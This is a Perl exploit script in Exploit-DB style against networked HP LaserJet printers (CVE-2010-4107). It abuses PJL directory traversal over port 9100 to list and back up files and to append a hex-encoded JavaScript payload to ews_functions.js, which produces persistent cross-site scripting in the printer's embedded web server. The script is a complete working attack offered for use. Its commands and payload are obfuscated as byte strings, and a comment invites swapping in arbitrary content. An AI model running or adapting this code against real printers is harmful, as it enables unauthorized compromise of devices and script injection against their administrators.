#!/usr/bin/perl use strict; use warnings; use IO::Socket::INET; my $host = $ARGV[0]; # Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL # Google Dork: n/a # Date: 4/22/14 # Exploit Author: @0x00string # Vendor Homepage: http://www.hp.com/products1/laserjetprinters/ # Software Link: n/a # Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage) # Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc. # CVE : CVE-2010-4107, # This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal print "\t _______ __ __ _______ _______ _______ _______ ______ ___ __ _ _______ \t| _ || |_| || _ || _ || || || _ | | | | | | || | \t| | | || || | | || | | || _____||_ _|| | || | | | |_| || ___| \t| | | || || | | || | | || |_____ | | | |_||_ | | | || | __ \t| |_| | | | | |_| || |_| ||_____ | | | | __ || | | _ || || | \t| || _ || || | _____| | | | | | | || | | | | || |_| | \t|_______||__| |__||_______||_______||_______| |___| |___| |_||___| |_| |__||_______| \t HP Laser Jet persistent Javascript XSS \t via PJL Dir Trav\n\n"; $| = 1; infect($host); sub infect { my $co = 0; my (@returned, $temp, @files, @sizes, $size, $data); my $socket = new IO::Socket::INET ( PeerHost => $host, PeerPort => '9100', Proto => 'tcp', ) or die $!; if ($socket) { $data = "\x1b\x25\x2d\x31\x32". "\x33\x34\x35\x58\x40". "\x50\x4a\x4c\x20\x46". "\x53\x44\x49\x52\x4c". "\x49\x53\x54\x20\x4e". "\x41\x4d\x45\x20\x3d". "\x20\x22\x30\x3a\x5c". "\x5c\x77\x65\x62\x53". "\x65\x72\x76\x65\x72". "\x5c\x5c\x68\x6f\x6d". "\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73". "\x5c\x5c\x22\x20\x45". "\x4e\x54\x52\x59\x3d". "\x31\x20\x43\x4f\x55". "\x4e\x54\x3d\x39\x39". "\x39\x0a\x0d\x1b\x25". "\x2d\x31\x32\x33\x34\x35\x58"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; @returned = split('\n', $temp); foreach(@returned) { if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) { push(@files, $1); push(@sizes, $2); } } } my $two = 0; foreach(@files) { if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) { $two++; } } if ($two > 1) { if ($socket) { while ($co < scalar(@files)) { if ($files[$co] =~ /ews/) { $size = $sizes[$co]; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x55\x50". "\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46". "\x46\x53\x45\x54\x3d\x30\x20\x53\x49". "\x5a\x45\x20\x3d\x20" . $size. "\x0d\x0a"; } $co++; } $temp = undef; #print "\n$data\n"; $socket = tx($socket, $data); $data = undef; if ($socket) { ($socket, $temp) = rx($socket, $size); #print "\n$temp\n"; my @original = split('\n', $temp); $temp = ""; shift(@original); foreach(@original) { $temp = $temp . $_ . "\n"; } #print $temp; } } } $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x42\x41\x4b". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($temp) . "\x0d\x0a". $temp. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; #print $data; if ($socket) { #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; } if ($socket) { $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x51\x55". "\x45\x52\x59\x20\x4e\x41\x4d\x45\x20". "\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65". "\x62\x53\x65\x72\x76\x65\x72\x5c\x5c". "\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66". "\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73". "\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e". "\x73\x2e\x42\x41\x4b\x22\x0d\x0a"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; exit(0) unless ($temp =~ /ews\_functions\.BAK/); } if ($socket) { my $payload = "\x76\x61\x72\x20\x65\x78\x70\x6c\x6f". "\x69\x74\x20\x3d\x20\x64\x6f\x63\x75". "\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61". "\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74". "\x28\x22\x64\x69\x76\x22\x29\x3b\x20". "\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69". "\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20". "\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c". "\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65". "\x3d\x35\x30\x3e". "\x41\x41\x41\x41" . "\x3c". # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths! "\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64". "\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63". "\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74". "\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42". "\x79\x54\x61\x67\x4e\x61\x6d\x65\x28". "\x27\x62\x6f\x64\x79\x27\x29\x5b\x30". "\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43". "\x68\x69\x6c\x64\x28\x65\x78\x70\x6c". "\x6f\x69\x74\x29\x3b"; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30". "\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72". "\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65". "\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73". "\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e". "\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($payload) . "\x0d\x0a". $payload. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; $socket = tx($socket, $data); exit(0); } } sub tx { my $socket = shift; my $data = shift; $socket->send($data) or die $!; return $socket; } sub rx { my $socket = shift; my $second_size = shift; unless ($second_size) { $second_size = 2048; } my $data = undef; eval { local $SIG{ALRM} = sub { die 'Timed Out'; }; alarm 10; $socket->recv($data, 2048); if ($data) { while (length($data) < (length($data) + $second_size)) { my $moar; $socket->recv($moar, length($second_size + 1)); $data = $data . $moar; } alarm 0; return ($socket, $data); } }; alarm 0; return($socket, $data); }